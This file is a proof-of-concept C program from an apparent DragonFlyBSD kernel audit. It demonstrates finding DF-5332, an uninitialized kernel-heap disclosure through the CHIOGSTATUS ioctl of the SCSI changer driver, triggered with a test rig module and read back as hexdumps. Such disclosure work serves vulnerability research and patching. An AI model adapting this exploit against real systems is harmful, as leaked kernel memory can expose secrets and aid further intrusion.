⬢ DragonFlyBSD Kernel Audit
DF-5332 / poc_chres.c
← back to finding ↓ download raw
/*
 * poc_chres.c -- DF-5332: CHIOGSTATUS discloses uninitialized kernel heap.
 *
 * scsi_ch.c chgetelemstatus() kmalloc()s its READ ELEMENT STATUS transfer
 * buffers WITHOUT M_ZERO (lines ~1089 and ~1129) and never checks
 * csio->resid.  With the evil rig (evilcd3.ko) set to resmode=1, the device
 * transfers ONLY the 8-byte status header and completes GOOD (legal SCSI:
 * allocation length is a maximum).  The page header (data[8..15]) and all
 * element descriptors (data[16..]) are then stale kernel heap, and the
 * driver walks `avail' descriptors over them, copies the derived fields
 * into user_data[] and copyout()s the whole array to user space.
 *
 * This program:
 *   1. opens /dev/ch0 (rig fake changer: 8 slots from addr 256),
 *   2. (optionally) stamps the heap via debug.evilcd.markres,
 *   3. issues CHIOGSTATUS(chet=CHET_ST, base=0, count=N),
 *   4. hexdumps the returned struct changer_element_status array.
 *
 * The device sent NOTHING but the 8-byte header -- every non-zero byte in
 * the returned structs is kernel heap memory the caller was never meant to
 * see.
 *
 * usage: ./poc_chres [runs] [mark(0/1)] [count]
 */
#include <sys/types.h>
#include <sys/chio.h>
#include <sys/ioctl.h>
#include <sys/sysctl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <fcntl.h>
#include <unistd.h>

static void
hexdump_buf(const unsigned char *p, size_t n)
{
	size_t i;

	for (i = 0; i < n; i++) {
		if ((i % 16) == 0)
			printf("    %04zx: ", i);
		printf("%02x ", p[i]);
		if ((i % 16) == 15)
			printf("\n");
	}
	if (n % 16)
		printf("\n");
}

int
main(int argc, char **argv)
{
	int runs = argc > 1 ? atoi(argv[1]) : 3;
	int mark = argc > 2 ? atoi(argv[2]) : 1;
	int count = argc > 3 ? atoi(argv[3]) : 4;
	struct changer_params cp;
	struct changer_element_status *ces;
	int fd, r, i, mib_n, error;
	size_t mib_len;
	int mib[4];
	char mibname[64];
	int n_nonzero_total, n_run_nonzero;

	if (count < 1 || count > 8) {
		fprintf(stderr, "count must be 1..8 (rig declares 8 slots)\n");
		exit(2);
	}

	fd = open("/dev/ch0", O_RDWR);
	if (fd < 0) {
		perror("open /dev/ch0");
		exit(1);
	}
	if (ioctl(fd, CHIOGPARAMS, &cp) == 0)
		printf("[+] CHIOGPARAMS: pickers=%d slots=%d portals=%d "
		    "drives=%d\n", cp.cp_npickers, cp.cp_nslots,
		    cp.cp_nportals, cp.cp_ndrives);
	else
		perror("CHIOGPARAMS");

	/* resolve the markres sysctl once */
	snprintf(mibname, sizeof(mibname), "debug.evilcd.markres");
	mib_len = 4;
	if (sysctlnametomib(mibname, mib, &mib_len) != 0 && mark)
		printf("[!] no debug.evilcd.markres (module loaded?)\n");

	ces = calloc(count, sizeof(*ces));
	if (ces == NULL) {
		perror("calloc");
		exit(1);
	}

	n_nonzero_total = 0;
	for (r = 0; r < runs; r++) {
		struct changer_element_status_request csr;

		if (mark) {
			int v = count;
			size_t vlen = sizeof(v);

			if (sysctl(mib, mib_len, NULL, NULL, &v, vlen) != 0)
				perror("sysctl markres");
		}

		memset(ces, 0, count * sizeof(*ces));
		memset(&csr, 0, sizeof(csr));
		csr.cesr_element_type = CHET_ST;
		csr.cesr_element_base = 0;
		csr.cesr_element_count = count;
		csr.cesr_flags = 0;		/* no voltags requested */
		csr.cesr_element_status = ces;

		if (ioctl(fd, CHIOGSTATUS, &csr) < 0) {
			perror("CHIOGSTATUS");
			exit(1);
		}

		n_run_nonzero = 0;
		printf("=== run %d: CHIOGSTATUS(chet=ST, base=0, count=%d) "
		    "returned ===\n", r, count);
		for (i = 0; i < count; i++) {
			int j, nz = 0;
			unsigned char *raw = (unsigned char *)&ces[i];
			size_t sz = sizeof(ces[i]);

			for (j = 0; j < (int)sz; j++)
				if (raw[j])
					nz++;
			n_run_nonzero += nz;
			printf("-- element %d (%zu bytes, %d non-zero): "
			    "int_addr=0x%04x flags=0x%x sense=0x%02x/0x%02x "
			    "src_type=%d src_addr=0x%04x scsi_id=%d lun=%d\n",
			    i, sz, nz, ces[i].ces_int_addr,
			    (unsigned)ces[i].ces_flags,
			    ces[i].ces_sensecode, ces[i].ces_sensequal,
			    ces[i].ces_source_type, ces[i].ces_source_addr,
			    ces[i].ces_scsi_id, ces[i].ces_scsi_lun);
			printf("   volid_p=\"%s\" serial_p=%d volid_a=\"%s\" "
			    "serial_a=%d\n",
			    ces[i].ces_pvoltag.cv_volid,
			    ces[i].ces_pvoltag.cv_serial,
			    ces[i].ces_avoltag.cv_volid,
			    ces[i].ces_avoltag.cv_serial);
			hexdump_buf(raw, sz);
		}
		printf("=== run %d: %d non-zero bytes in %d structs "
		    "(device sent only an 8-byte header) ===\n\n",
		    r, n_run_nonzero, count);
		n_nonzero_total += n_run_nonzero;
	}

	if (n_nonzero_total > 0) {
		printf("[***] LEAK CONFIRMED: %d non-zero bytes across %d "
		    "runs -- kernel heap disclosed via CHIOGSTATUS\n",
		    n_nonzero_total, runs);
		return (0);
	}
	printf("[---] all returned bytes zero (stale heap happened to be "
	    "zero-filled); rerun with mark=1\n");
	return (3);
}